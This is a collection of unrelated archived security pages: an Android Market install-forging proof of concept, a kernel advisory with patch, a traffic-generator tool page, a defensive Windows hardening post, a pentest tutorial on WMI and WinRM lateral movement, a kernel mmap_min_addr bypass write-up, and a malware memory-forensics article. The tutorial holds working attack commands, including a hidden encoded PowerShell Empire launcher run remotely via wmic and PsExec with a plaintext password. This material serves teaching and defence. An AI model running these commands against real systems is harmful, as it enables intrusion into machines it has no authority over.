these valid install requests to the Market servers. Essentially, my PoC app
was able to impersonate the official Market app and make the same requests it
would, but not actually ever prompt the user to install the app or approve the
apps permissions.

To spice things up, the PoC app was titled “Angry Birds Bonus Levels”,
disguising itself as an add-on to the popular Angry Birds game. Completely
coincidentally, the official Angry Birds developers released a legitimate new
set of levels the same exact day I posted my fake app to the Android
Market…I’m sure that helped the social engineering angle a bit.

So the Angry Birds application acted as the delivery mechanism for three
additional applications that I posted to the Android Market: “Fake Location
Tracker”, “Fake Toll Fraud”, and “Fake Contact Stealer”. Upon running the fake
Angry Birds app, it would forge install requests for those three additional
applications to the Market servers. Each of the three apps had the
capabilities to perform their stated malicious action, but didn’t actually do
anything harmful. For example, the “Fake Toll Fraud” app had permission to
make calls and send SMS to premium toll numbers without the user’s knowledge.

<img src='img/Temp2_7984.jpg' width='620' height='251' />

As you can see in the screenshot here, the Angry Birds Bonus Levels app
triggered the download and installation of the three fake malicious apps.

It’s worth noting that while my PoC attack used a fake app posted to the
market, the attack could launched by compromising an existing application
\(eg. a browser client-side exploit\).

### Wrap-up

While this bug was patched months ago, I hope these technical details will
provide some insight into how exactly this round-about installation process
works on the Android platform and prompt others to take a deeper look at the
Vending.apk which I guarantee has another solid bug or two in its depths.

The fix that Google rolled out is pretty simple: upon installing an app
through the Market, the phone will keep track of that installation request,
and verify that any incoming INSTALL\_ASSET messages are associated with an
app that was requested by the user. If the GTalkService/Vending receives an
INSTALL\_ASSET message for an application that it’s not expecting, it will
simply discard it.

However, there is one exception, which is the whole reason Google designed
this round-about install/removal mechanism in the first place: the new Android
web market \(which has some serious issues of its own\). If you initiate an
install request from the web market, the INSTALL\_ASSET message will contain a
special “server-initiated” flag which will make the Vending routines skip
their local check to see if the user had requested the app installation.

Until next time…beware of those Angry Birds\! <img src='img/Temp2_7987.jpg'
alt=':-P' />

# Linux Kernel ping NULL pointer dereference on write to msg\_name -
CXSecurity.com

**Created:**| _12/8/2013 1:58:42 PM_  
---|---  
**Updated:**| _12/8/2013 1:58:42 PM_  
**Author:**| __  
**Tags:**| _Linux kernel_  
  

# **L** inux Kernel ping NULL pointer dereference on write to msg\_name****

**Linux Kernel ping NULL pointer dereference on write to msg\_name**  
<img src='img/Temp2_4940.png' width='730' height='2px' />**Published**|
**Credit**| **Risk**  
---|---|---  
**2013**.** 12**.** 07**| **PJP**| ****Medium****  
**CWE**| **CVE**| **Local**| **Remote**  
---|---|---|---  
** _N/A_ **| **CVE-2013-6432  
**| ****No****| ****Yes****  
<img src='img/Temp2_4940.png' width='100%' height='2px' />

Hello,  
  
Linux kernel built with the TCP/IP networking support\(CONFIG\_NET\) is
vulnerable to a NULL pointer dereference flaw**.** It  
could occur via a plain read\(2\) call on a ping socket**.** Usage of ping
sockets is generally restricted to privileged  
users**.**  
  
  
A user/program able to read from ping sockets could use this flaw to crash a  
system resulting in DoS**.**  
  
Upstream fix:  
\-------------  
-> https://git.kernel.org/linus/cf970c002d270c36202bd5b9c2804d3097a52da0  
  
-rw-r--r-- net/ipv4/ping**.** c 34   
  
1 files changed, 19 insertions, 15 deletions  
diff --git a/net/ipv4/ping**.** c b/net/ipv4/ping.c  
index aacefa0..91bfe04 100644  
\--- a/net/ipv4/ping**.** c  
+++ b/net/ipv4/ping.c  
@@ -870,11 +870,13 @@ int ping\_recvmsg\(struct kiocb \*iocb, struct sock
\*sk, struct msghdr \*msg,  
if \(family == AF\_INET\) \{  
struct sockaddr\_in \*sin = \(struct sockaddr\_in \*\)msg->msg\_name;  
\- sin->sin\_family = AF\_INET;  
\- sin->sin\_port = 0 /\* skb->h**.** uh->source \*/;  
\- sin->sin\_addr.s\_addr = ip\_hdr\(skb\)->saddr;  
\- memset\(sin->sin\_zero, 0, sizeof\(sin->sin\_zero\)\);  
\- \*addr\_len = sizeof\(\*sin\);  
\+ if \(sin\) \{  
\+ sin->sin\_family = AF\_INET;  
\+ sin->sin\_port = 0 /\* skb->h**.** uh->source \*/;  
\+ sin->sin\_addr.s\_addr = ip\_hdr\(skb\)->saddr;  
\+ memset\(sin->sin\_zero, 0, sizeof\(sin->sin\_zero\)\);  
\+ \*addr\_len = sizeof\(\*sin\);  
\+ \}  
if \(isk->cmsg\_flags\)  
ip\_cmsg\_recv\(msg, skb\);  
@@ -886,16 +888,18 @@ int ping\_recvmsg\(struct kiocb \*iocb, struct sock
\*sk, struct msghdr \*msg,  
struct sockaddr\_in6 \*sin6 =  
\(struct sockaddr\_in6 \*\)msg->msg\_name;  
\- sin6->sin6\_family = AF\_INET6;  
\- sin6->sin6\_port = 0;  
\- sin6->sin6\_addr = ip6->saddr;  
\- sin6->sin6\_flowinfo = 0;  
\- if \(np->sndflow\)  
\- sin6->sin6\_flowinfo = ip6\_flowinfo\(ip6\);  
-  
\- sin6->sin6\_scope\_id = ipv6\_iface\_scope\_id\(&sin6->sin6\_addr,  
\- IP6CB\(skb\)->iif\);  
\- \*addr\_len = sizeof\(\*sin6\);  
\+ if \(sin6\) \{  
\+ sin6->sin6\_family = AF\_INET6;  
\+ sin6->sin6\_port = 0;  
\+ sin6->sin6\_addr = ip6->saddr;  
\+ sin6->sin6\_flowinfo = 0;  
\+ if \(np->sndflow\)  
\+ sin6->sin6\_flowinfo = ip6\_flowinfo\(ip6\);  
\+ sin6->sin6\_scope\_id =  
\+ ipv6\_iface\_scope\_id\(&sin6->sin6\_addr,  
\+ IP6CB\(skb\)->iif\);  
\+ \*addr\_len = sizeof\(\*sin6\);  
\+ \}  
if \(inet6\_sk\(sk\)->rxopt.all\)  
pingv6\_ops**.** ip6\_datagram\_recv\_ctl\(sk, msg, skb\);  
  
  
Reference:  
\----------  
-> https://bugzilla.redhat.com/show\_bug.cgi**?** id=1039046  
  
  
Thank you**.**  
\--  
Prasad J Pandit / Red Hat Security Response Team

<img src='img/Temp2_4940.png' width='100%' height='2px' />

**References:**

http://seclists.org/oss-sec/2013/q4/424

https://git.kernel.org/linus/cf970c002d270c36202bd5b9c2804d3097a52da0

https://bugzilla.redhat.com/show\_bug.cgi**?** id=1039046

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/**?**
id=6d0bfe22611602f36617bc7aa2ffa1bbb2f54c67

<img src='img/Temp2_4940.png' width='100%' height='2px' />  
  
**ASCII VERSION**  
  
<img src='img/Temp2_4940.png' width='100%' height='2px' />  
  
****

# ostinato - Project Hosting on Google Code

**Created:**| _9/10/2010 9:51:51 AM_  
---|---  
**Updated:**| _9/10/2010 9:51:51 AM_  
**Author:**| _wishi_  
**Tags:**| _security tools pentest network-security_  
  

  *   

  * Introduction
  * Features
  * News
  * Documentation
  * Getting Ostinato
  * Help
  * Contributing to Ostinato

# Introduction¶

Ostinato is an open-source, cross-platform network packet/traffic generator
and analyzer with a friendly GUI.

It aims to be "Wireshark in Reverse" and thus become complementary to
Wireshark.

Here's a screencast showing some very basic usage. For the full feature list
see below

, unknown@http://www.gmodules.com/gadgets/ifr?url=http%3A%2F%2Fgoogle-code-
project-hosting-
gadgets.googlecode.com%2Fsvn%2Fbuild%2Fprod%2Fvideo%2FgcVideo.xml&up\_video=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOn64lQYEFlY&parent=http%3A%2F%2Fcode.google.com%2Fhosting&synd=code"
class="\_\_noscriptPlaceholder\_\_ " style="border-width: 0px; margin: 0px;
padding: 0px; outline-offset: -1px; display: inline;">

# Features¶

  * Runs on Windows, Linux, BSD and Mac OS X \(Will probably run on other platforms also with little or no modification but this hasn't been tested\)
  * Support for the most common standard protocols
  *     * Ethernet/802.3/LLC SNAP
    * VLAN \(with QinQ\)
    * ARP, IPv4, IPv6, IP-in-IP a.k.a IP Tunnelling \(6over4, 4over6, 4over4, 6over6\)
    * TCP, UDP, ICMPv4, ICMPv6
    * Any text based protocol \(HTTP, SIP, RTSP, NNTP etc.\)
    * More protocols in the works ...
  * Modify any field of any protocol \(some protocols allow changing packet fields with every packet at run time e.g. changing IP/MAC addresses\)
  * Stack protocols in any arbitrary order
  * User defined script to substitute for an unimplemented protocol \(EXPERIMENTAL\)
  * Create and configure multiple streams
  * Configure stream rates, bursts, no. of packets
  * Single client can control and configure multiple ports on multiple computers generating traffic
  * Exclusive control of a port to prevent the OS from sending stray packets provides a controlled testing environment
  * Statistics Window shows realtime port receive/transmit statistics and rates
  * Capture packets and view them \(needs Wireshark to view the captured packets\)
  * Framework to add new protocol builders easily

Some screenshots \(click to view larger image\) -

<img src='img/mainWin.png' />| <img src='img/scdProtoSimple.png' />| <img
src='img/scdProtoData.png' />| <img src='img/scdPktView.png' />| More
Screenshots ...  
---|---|---|---|---  
Main Window | Stream Configuration -  
Protocol Selection \(Simple Mode\) | Stream Configuration -  
Protocol Data | Stream Configuration -  
Packet View |   
# News¶

## September¶

  * Linux Binary packages available for xUbuntu, Fedora, openSUSE and Mandriva

## August 2010¶

  * **0.2 released** ChangeLog

## July 2010¶

  * Save/Restore streams to/from disk support added
  * Ostinato gets a package on Gentoo \(on the Sunrise overlay\) - Thanks, Dane Smith\!

Older News

# Documentation¶

  1. A Quickstart for the impatient
  2. User Guide
  3. Writing a script to fill-in for an unimplemented protocol
  4. _Developers:_ read Writing a Protocol Builder

# Getting Ostinato¶

Source and binary packages are available for several platforms/distros. See
Downloads

# Help¶

Check the FAQ  
Send an email to the mailing list - ostinato at googlegroups dot com

# Contributing to Ostinato¶

Clone the mercurial repository and hack away\! \(don't forget to send a merge
request when you are done\)  
Build instructions are available here  
Documentation to add support for a protocol is available here

If you can offer/maintain binary packages \(any platform\) - please send an
email to ostinato at googlegroups dot com

# Preventing Malicious Documents from Compromising Windows Machines « Didier
Stevens

**Created:**| _12/24/2009 11:42:43 AM_  
---|---  
**Updated:**| _12/24/2009 11:43:08 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

### Preventing Malicious Documents from Compromising Windows Machines

Filed under: My Software — Didier Stevens @ 13:33  

Almost all shellcode I see in malicious documents \(PDF, Word, Powerpoint, …\)
found “in the wild” does the following:

  1. download a trojan from the Internet using HTTP
  2. write the downloaded executable to SYSTEM32
  3. execute the downloaded executable

This infection method only works if the user is local admin. If the exploited
program has no rights to write to SYSTEM32, the shellcode will just fail and
the trojan will not infect the machine.

To protect yourself and/or your users against this type of attack \(I’m not
talking about targeted attacks\), restrict the user rights. Windows Vista and
later versions do this for you with UAC, even if you’re an administrator.

On Windows XP, you have to use a normal user account in stead of an admin
account to achieve this. But running non-admin on Windows XP is not always
easy. If you really need to allow admin rights on Windows XP, you can still
prevent high-risk applications \(like Adobe Acrobat and Microsoft Office\)
from having full control over the system by restricting their rights. This is
done by using a restricted token for the processes of these applications.

There are 2 popular tools to launch programs with a restricted token:

  * DropMyRights by Michael Howard
  * StripMyRights by Kåre Smith

Both tools create a restricted token \(by removing privileges and denying
groups that provide local admin rights\) and then launch the target program
with this restricted token.

It’s not always easy to launch a program with DropMyRights, as there are many
ways a program can be launched on Windows. For example with a file-type
association or from a browser. To help you configure Windows to always
restrict the rights of a specific program, StripMyRights also support the
“Image File Execution Options” method with the /D option. The “Image File
Execution Options” is designed to allow you to launch a program automatically
inside a debugger. In the “Image File Execution Options” registry key, you
specify the debugger to use. But this can really be any executable.

Example: to restrict the rights of Adobe Reader, add StripMyRights to the
AcroRd32.exe Image Execution path like this:

[code]

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acrord32.exe]
    "Debugger"="StripMyRights.exe /D /L N"
    
    
[/code]

This way, each time AcroRd32.exe is executed, StripMyRights executes first,
creates a restricted token and then launches AcroRd32.exe with this restricted
token.

<img src='img/Temp2_6365.png' width='453' height='513' alt='20090927-001' />

But executing StripMyRights before executing the target application doesn’t
always yield satisfactory results, sometimes it breaks the application,
because of the broken process tree.

That’s why I developed an alternative, LowerMyRights.dll, to be presented in
an upcoming blogpost.

# Using Credentials to Own Windows Boxes - Part 3 \(WMI and WinRM\)

**Created:**| _3/7/2018 8:33:18 AM_  
---|---  
**Updated:**| _3/7/2018 8:33:18 AM_  
**Author:**| _wishi_  
**Tags:**| _windows security_  
  

  

# Using Credentials to Own Windows Boxes - Part 3 \(WMI and WinRM\)

### Table of Contents

* Summary
This is the third part of a series showing how to remotely execute commands
\(and "own"\) Windows machines once you have compromised a set of credentials.

In Part 1 I showed some of my favorite tools and techniques for popping shells
from Kali Linux. I used Metasploit, CrackMapExec, winexe, and some of the
included scripts with the Impacket library to get interactive and semi-
interactive shells on Windows machines once I knew a valid domain user's
credentials.

In Part 2 I revisited some of the same techniques in Part 1, but performed all
the attacks from a Windows machine. I used `runas` to get a Kerberos TGT for
the compromised account and used the built in `net` commands to explore the
domain. Then I used `psexec` and remote services to get shells and command
execution on the target Windows box.

In this post, I'm also going to be working from a Windows attack box, but will
be utilizing the Windows command line and PowerShell to execute commands via
Windows Management Instrumentation \(WMI\) and Windows Remote Management
\(WinRM\).

* * *
## WMI

> Windows Management Instrumentation \(WMI\) is the infrastructure for
> management data and operations on Windows-based operating systems.
WMI on MSDN

WMI is an incredibly powerful feature that allows remote querying and
administration of Windows devices. Think of it like SNMP for Windows
infrastructure. Just like all of Microsoft's administrative tools and
features, though, it didn't take long for attackers to realize the amazing
potential for using and abusing WMI.

##### Querying with WMI

Before I jump in to spawning processes and getting command execution via WMI,
it's useful to see what else WMI can be used for. From an attacker's
perspective, WMI can be very valuable in enumerating sensitive information
about a system or the domain.

From Windows, wmic is the command line interface for querying WMI. Simply
typing `wmic` will drop you into an interactive command prompt where you can
query information about the system via WMI. Issuing a `/?` will list all the
aliases and commands you can run via `wmic`. You can also issue queries
directly from the command line as well.

_Note: When working from the command prompt, it's useful to append "list
brief" or "list full" for easy to read output. You can also append
"/format:list" in the command line_

For example, here I am on a local Windows machine \(say I got a shell somehow
else\) and dumping information about the system:

<img src='img/wmic_computer_system-1.png' width='576' height='151' alt='wmic
computersystem' />

Here's a list of useful aliases for enumerating information about the system,
process, domain, users and groups:

[code]

    wmic computerystem list full /format:list  
    wmic process list /format:list  
    wmic ntdomain list /format:list  
    wmic useraccount list /format:list  
    wmic group list /format:list  
    wmic sysaccount list /format:list  
    
[/code]

For more useful commands, see this Technet article.

###### Remote WMI Querying

Now we get to the fun part. Querying information about the local system is
great, but it's not really useful for sysadmins...or attackers. `wmic` can be
used to query _remote_ systems as well. The command takes the switches `/node`
and `/user` to specify which host to query and what credentials to
authenticate with.

Back on our Windows attack box, we can query a domain joined computer for
sensitive information using our compromised domain credentials:

<img src='img/wmic_remote-3.png' width='576' height='130' alt='wmic remote' />

Note that we are not starting a service or executing a normal command on the
target system that can be logged, or even opening a persistent connection that
can be detected. In fact, logging for WMI events is disabled by default, and
have to be explicitly turned on. Once that's enabled, you can finally see the
exact WMI query that was run:

<img src='img/wmic_event_log.png' width='576' height='507' alt='wmic event
log' />

All of the above mentioned aliases can be used remotely. You can also interact
with classes directly with the 'path' option. For example, here's a very
stealthy way to discover local admins on a remote machine \(note that domain
is the computer name\):

[code]

    wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")  
    
[/code]

<img src='img/wmic_local_admins-1.png' width='576' height='83' alt='wmic local
admins' />

_Note: I ran wmic from a command prompt as jarrieta, hence I didn't need to
specify /user_

Another useful oneliner is to see who is logged on to a machine \(for when
you're hunting admins\):

[code]

    wmic /node:ordws01 path win32_loggedonuser get antecedent  
    
[/code]

<img src='img/wmic_loggedon.png' width='568' height='191' alt='wmic logged on'
/>

`wmic` can even read nodes from a text file and execute the command on all of
them. If you have a text file of workstations:

[code]

    wmic /node:@workstations.txt path win32_loggedonuser get antecedent  
    
[/code]

The above examples barely scratch the surface of what WMI is capable of. Not
only can you query for all sorts of information, you also have the ability to
modify settings and create new objects. For example, you can even change
user's passwords via WMI.

Fortunately, a lot of really smart people have wrapped up the best features of
WMI for attackers into extremely useful PowerShell scripts. These types of
queries are at the heart of a lot of the reconnaissance tools you see included
in frameworks like Nishang and PowerSploit.

##### WMI Process Create

Now we get to one of the "best" features of WMI - the fact that it can be used
to remotely execute code\!

The Win32\_Process class can be called via WMI to query, modify, terminate,
and _create_ running processes.

As a quick example, here's a command to launch "calc.exe" on a local machine
via a WMI statement:

<img src='img/wmic_calc.png' width='576' height='389' alt='wmic process create
local' />

The command returns the ProcessID and the ReturnValue \(0 meaning no errors\)

By specifying `/node` it's incredibly easy to remotely create processes and
execute commands. In the last post I demonstrated launching Meterpreter from
an `sc create` command with Metasploit's web\_delivery module. To switch it
up, let's launch a PowerShell Empire agent this time. First, generate the
command string to execute using the "launcher" stager in Empire:

[code]

    powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAEUAVwAtAE8AQgBKAGUAQw...truncated...  
    
[/code]

And now from Windows, we'll remotely create a process over WMI to execute that
string:

[code]

    wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"  
    
[/code]

<img src='img/wmic_empire.png' width='576' height='328' alt='wmic empire' />

We see it executed successfully \(ReturnValue = 0\). And a second later our
Empire listener catches it. Note the process ID is the same as WMI returned:

<img src='img/empire_listener.png' width='576' height='105' alt='empire
listener' />

On the victim machine, no window opened, no binary was dropped, no service was
created, and unless the machine is configured to log WMI-Activity, no easily
traceable log was left behind. Sexy.

This is the same technique that the Kali tools "wmiexec.py", "wmis" and
CrackMapExec use.

* * *
## WinRM

Windows Remote Management \(WinRM\) is a Microsoft protocol that allows remote
management of Windows machines over HTTP\(S\) using SOAP. On the backend it's
utilizing WMI, so you can think of it as an HTTP based API for WMI.

I'm not going to spend too much time discussing it because I've honestly never
seen it in use at a client and therefore haven't really exploited it, but I
have played around with it in my lab. It's good to at least be familiar in
case I come across it.

If WinRM is enabled on the machine, it's trivial to remotely administer the
machine from PowerShell. In fact, you can just drop in to a remote PowerShell
session on the machine \(as if you were using SSH\!\)

The easiest way to detect whether WinRM is available is by seeing if the port
is opened. WinRM will listen on one of two ports:

  * 5985/tcp \(HTTP\)
  * 5986/tcp \(HTTPS\)

If one of these ports is open, WinRM is configured and you can try entering a
remote session.

**Initiating WinRM Session**.

We first have to configure our attack machine to work with WinRM as well. We
need to enable it and add any "victims" as trusted hosts. From an elevated
PowerShell prompt, run the following two commands:

[code]

    Enable-PSRemoting -Force  
    Set-Item wsman:\localhost\client\trustedhosts *  
    
[/code]

This adds a wildcard to the trustedhosts setting. Be wary of what that
entails. _Note: I also had to change the network type on my attack machine
from "Public" to "Work" network. YMMV_

Once the attack machine is configured, use the `Test-WSMan` function to test
whether the target is configured for WinRM. You should see some information
returned about the protocol version and wsmid:

<img src='img/winrm_testwsman.png' width='576' height='177' alt='Test-WSMan'
/>

In this case we see that "ordws01" is configured, but "ordws04" is not.

Now we can use PowerShell's `Invoke-Command` to remotely execute a command on
the target over WinRM. To remotely run `ipconfig` and see the output:

[code]

    Invoke-Command -Computer ordws01 -ScriptBlock {ipconfig /all} -credential CSCOU\jarrieta  
    
[/code]

<img src='img/winrm_ipconfig-1.png' width='576' height='292' alt='WinRM
ipconfig' />

Or, if you want to drop right into an interactive PowerShell session, use the
`Enter-PSSession` function:

<img src='img/winrm_psremote.png' width='568' height='114' alt='WinRM
PSRemote' />

**Forcing WinRM Open**. If you really want to use PS Remoting and WinRM but
the target isn't configured for it, you could "force" it on through a single
command. I wouldn't recommend this but if you really wanted to use WinRM or
PSRemoting than by all means do it this way. For example, using PSExec:

[code]

    PS C:\tools\SysinternalsSuite> .\PsExec.exe \\ordws04 -u cscou\jarrieta -p nastyCutt3r -h -d powershell.exe "enable-psre  
    moting -force"  
    
[/code]

<img src='img/force_ps_remoting.png' width='576' height='165' alt='Force PS
Remoting' />

Now we can enter a remote PS session on ordws04 \(we saw earlier that it was
disabled\).

# Summary

Microsoft has implemented a lot of really useful features for sys admins to be
able to remotely manage Windows environments. Unfortunately, every one of
those tools and techniques can be used and abused by malicious actors or
pentesters.

Tools like Metasploit, CrackMapExec, and Impacket are incredibly powerful and
make a pentesters job so much easier by almost making exploitation point-and-
click \(or whatever the CLI equivalent is - type and click?\). But it's easy
to rely on these tools too much, and without knowledge of how they work or how
to manually re-create their techniques, a pentester without access to them
won't be able to do much.

In Part 1 I explained some of the quickest and most reliable ways to execute
commands on Windows hosts from Kali linux once you have credentials. In Parts
2 and 3 I manually exercised the same techniques from Windows to demonstrate
how they actually work. I won't stop using the tools \(they're too damn
awesome\!\) but now I, and hopefully you, know what to try if they don't work
or aren't available.

Hope you enjoyed the series. Let me know if I missed anything or if my
limited, simplified explanations of anything were wrong. Look for future posts
about using these tools and techniques _without_ passwords. PTH and Kerberos
ftw\!

-ropnop
  

# cr0 blog: Bypassing Linux' NULL pointer dereference exploit prevention
\(mmap\_min\_addr\)

**Created:**| _10/15/2009 1:23:53 PM_  
---|---  
**Updated:**| _10/15/2009 1:24:07 PM_  
**Author:**| __  
**Tags:**| _Exploit Linux LOLZ_  
  

### Bypassing Linux' NULL pointer dereference exploit prevention
\(mmap\_min\_addr\)

EDIT3: Slashdot, the SANS Institute, Threatpost and others have a story about
an exploit by Bradley Spengler which uses our technique to exploit a null
pointer dereference in the Linux kernel.  
EDIT2: As of July 13th 2009, the Linux kernel integrates our patch
\(2.6.31-rc3\). Our patch also made it into -stable.  
EDIT1: This is now referenced as a vulnerability and tracked as CVE-2009-1895  
  
NULL pointers dereferences are a common security issue in the Linux kernel.  
  
In the realm of userland applications, exploiting them usually requires being
able to somehow control the target's allocations until you get page zero
mapped, and this can be very hard.  
  
In the paradigm of locally exploiting the Linux kernel however, nothing
\(before Linux 2.6.23\) prevented you from mapping page zero with mmap\(\) and
crafting it to suit your needs before triggering the bug in your process'
context. Since the kernel's data and code segment both have a base of zero, a
null pointer dereference would make the kernel access page zero, a page filled
with bytes in your control. Easy.  
  
This used to not be the case, back in Linux 2.0 when the kernel's data
segment's base was above PAGE\_OFFSET and the kernel had to explicitely use a
segment override \(with the fs selector\) to access data in userland. The same
rough idea is now used in PaX/GRSecurity's UDEREF to prevent exploitation of
"unexpected to userland kernel accesses" \(it actually makes use of an expand
down segment instead of a PAGE\_OFFSET segment base, but that's a detail\).  
  
Kernel developpers tried to solve this issue too, but without resorting to
segmentation \(which is considered deprecated and is mostly not available on
x86\_64\) and in a portable \(cross architectures\) way. In 2.6.23, they
introduced a new sysctl, called vm.mmap\_min\_addr, that defines the minimum
address that you can request a mapping at. Of course, this doesn't solve the
complete issue of "to userland pointer dereferences" and it also breaks the
somewhat useful feature of being able to map the first pages \(this breaks
Dosemu for instance\), but in practice this has been effective enough to make
exploitation of many vulnerabilities harder or impossible.  
  
Recently, Tavis Ormandy and myself had to exploit such a condition in the
Linux kernel. We investigated a few ideas, such as:  

  * using brk\(\)
  * creating a MAP\_GROWSDOWN mapping just above the forbidden region \(usually 64K\) and segfaulting the last page of the forbidden region
  * obscure system calls such as remap\_file\_pages
  * putting memory pressure in the address space to let the kernel allocate in this region
  * using the MAP\_PAGE\_ZERO personality  

All of them without any luck at first. The LSM hook responsible for this
security check was correctly called every time.  
  
So what does the default security module do in cap\_file\_mmap? This is the
relevant code \(in security/capability.c on recent versions of the Linux
kernel\):  

[code]

    if ((addr < mmap_min_addr)  
    && !capable(CAP_SYS_RAWIO))  
      return -EACCES;  
    return 0;  
    
[/code]

Meaning that a process with CAP\_SYS\_RAWIO can bypass this check. How can we
get our process to have this capability ? By executing a setuid binary of
course\! So we set the MMAP\_PAGE\_ZERO personality and execute a setuid
binary. Page zero will get mapped, but the setuid binary is executing and we
don't have control anymore.  
So, how do we get control back ? Using something such as "/bin/su
our\_user\_name" could be tempting, but while this would indeed give us
control back, su will drop privileges before giving us control back \(it'd be
a vulnerability otherwise\!\), so the Linux kernel will make exec fail in the
cap\_file\_mmap check \(due to the MMAP\_PAGE\_ZERO personality\).  
  
So what we need is a setuid binary that will give us control back without
going through exec. We found such a setuid binary that is installed on many
Desktop Linux machines by default: pulseaudio. pulseaudio will drop privileges
and let you specify a library to load though its -L argument. Exactly what we
needed\!  
  
Once we have one page mapped in the forbidden area, it's game over. Nothing
will prevent us from using mremap to grow the area and mprotect to change our
access rights toPROT\_READ|PROT\_WRITE|PROT\_EXEC. So this completely bypasses
the Linux kernel's protection.  
  
Note that apart from this problem, the mere fact that MMAP\_PAGE\_ZERO is not
in the PER\_CLEAR\_ON\_SETID mask and thus is allowed when executing setuid
binaries can be a security issue: being able to map page zero in a process
with euid=0, even without controlling its content could be useful when
exploiting a null pointer vulnerability in a setuid application.  
  
We believe that the correct fix for this issue is to add MMAP\_PAGE\_ZEROto
the PER\_CLEAR\_ON\_SETID mask.  
  
PS: Thanks to Robert Swiecki for some help while investigating this.

# OpenRCE Memory Forensics Tool

**Created:**| _5/8/2009 2:42:11 PM_  
---|---  
**Updated:**| _5/8/2009 8:08:28 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

  
  
<img src='img/Temp2_5944.png' />  
<img src='img/Temp2_5945.png' width='1' height='15' />  
  
| About Articles Book Store Distributed RCE Downloads Event Calendar Forums
Live Discussion Reference Library RSS Feeds Search Store Users What's New  
---  
  
  

Customize Theme

bluegreyblackgreenmetalsimple  
---  
  
Flag: Tornado\! Hurricane\!  
  
<img src='img/Temp2_5945.png' width='1' height='1' />| | | | Login: | | Password: | |   
---|---|---|---|---  
Remember Me | Register  
Memoryze Memory Forensics Tool

  
Wednesday, November 26 2008 20:06.40 CST**Author:** <img src='img/Temp2_5948.png' /> peter <img src='img/Temp2_5941.png' /> | **\# Views:** 8244 | <img src='img/Temp2_5937.png' /> Printer Friendly ...  
---|---|---  
  

Introduction

  
The goal of this article is to demonstrate how simple malware analysis can be
using Memoryze and some good old fashion common sense. Readers should have
some knowledge of how malware works, and be somewhat familiar with Memoryze. A
good place to familiarize yourself with Memoryze is the user guide included in
the installer.  
  
Memoryze is designed to aid in memory analysis in incident response scenarios.
However, it has many useful features that can be utilized when doing malware
analysis. Memoryze is special in that it does not rely on API calls. Instead
Memoryze parses the operating systems' internal structures to determine for
itself what the operating system and its running processes and drivers are
doing.  
  

Malware Analysis

  
The first step in malware analysis differs from analyst to analyst and case to
case. Some common first steps are running strings, putting a binary in a
disassembler like IDA Pro or doing run time analysis. Using IDA requires that
the analyst has enough working knowledge to be able to reverse the binary if
needed. It also requires that the binary be unpacked on disk. This article
will detail how to do runtime analysis without the help of IDA.  
  
In this case the malware sample came from Offensive Computing, the samples MD5
hash is **117aec6aae1c4d25fc5fa2b9a4f905e5**. The analyst will load the
malware in a XP SP2 virtual machine \(VM\). Once the malware is placed in the
VM, execute it. The first thing to notice is almost immediately after
execution the process has exited. The fact the process exited could indicate a
couple of things:  

  * The process injected itself somewhere else
  * The process installed a driver which could be hiding a process
  * Malware failed to load due to problems with the environment \(i.e. VM aware\)

Since the analyst cannot be sure what the malware is doing, the best thing to
do now is use Memoryze. The author recommend running a semi-custom audit
called AllAudits. Audits are xml documents that Memoryze takes as input and
performs actions based on what the xml has enabled. The AllAudits file looks
like:

[code]

    <?xml version="1.0" encoding="utf-8"?>
    <script xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" chaining="implicit">
      <commands>
        <command xsi:type="ExecuteModuleCommand">
          <module name="w32processes-memory" version="1.0.34.0" />
          <config xsi:type="ParameterListModuleConfig">
            <parameters>
              <param name="pid">
                <value xsi:type="xsd:unsignedInt">4294967295</value>
              </param>
              <param name="handles">
                <value xsi:type="xsd:boolean">true</value>
              </param>
              <param name="sections">
                <value xsi:type="xsd:boolean">true</value>
              </param>
              <param name="ports">
                <value xsi:type="xsd:boolean">true</value>
              </param>
              <param name="strings">
                <value xsi:type="xsd:boolean">false</value>
              </param>          
            </parameters>
          </config>
        </command>
        <command xsi:type="ExecuteModuleCommand">
          <module name="w32drivers-signature" version="1.0.34.0" />
        </command>
        <command xsi:type="ExecuteModuleCommand">
          <module name="w32kernel-rootkitdetection" version="1.0.30.0" />
           <config xsi:type="ParameterListModuleConfig">
            <parameters> 
            <param name="idt">
                <value xsi:type="xsd:boolean">true</value>
            </param>
            <param name="ssdt_index">
                <value xsi:type="xsd:boolean">true</value>
            </param>
            <param name="ssdt_inline">
                <value xsi:type="xsd:boolean">true</value>
            </param>
            <param name="drivers">
                <value xsi:type="xsd:boolean">true</value>
            </param>
            </parameters>
          </config>
        </command>
      </commands>
    </script>
    
    
[/code]

  
  
This custom audit runs the following four jobs:

  * A full process audit with ports, handles, sections, turned on for every process. Strings is turned off because too much data is generated when scanning all the running processes address spaces.
  * A driver signature scan to enumerate all drivers even those hidden by unlinking the PsLoadedModuleList
  * A hook detection audit that looks for common kernel hooks

To run this audit execute the following command line:  
**Memoryze.exe -o -script AllAudits.Batch.xml -encoding none**  
This tells Memoryze to output it to the standard
%INSTALLDIR%/Audits/%COMPUTERNAME%/%DateTime%. The next parameter indicates
what script to execute and the final parameter tells Memoryze not to compress
the output.  
  
If this is malicious software there will be some trace that can be found in
one of these audits. It maybe small, but it should be there. To examine the
results of a big audit like AllAudits use Audit Viewer available here. Audit
Viewer's user guide can be found here. Audit Viewer will render the xml
generated by Memoryze in a readable more manageable way.  
  
<img src='img/Temp2_5947.png' />  
**Figure 1: Processes running after infection**  
  
Figure 1, shows all the processes running after the initial infection. There
are no real suspicious processes currently running. This process listing does
not eliminate the fact the system can still be infected. There are still a
plethora of possible infections on the system. Some possibilities are:  

  * the malware hijacked another processes image
  * the malware injected itself into another process address space
  * the malware has patched some binary to load itself
  * the malware installed a driver and is now working in the kernel

The next easiest course of action is to look at the loaded drivers and hooks.
If the malware installed a driver hopefully it is easily identifiable or is
hooking something which will be easy to spot. Clicking the Rootkit tab in
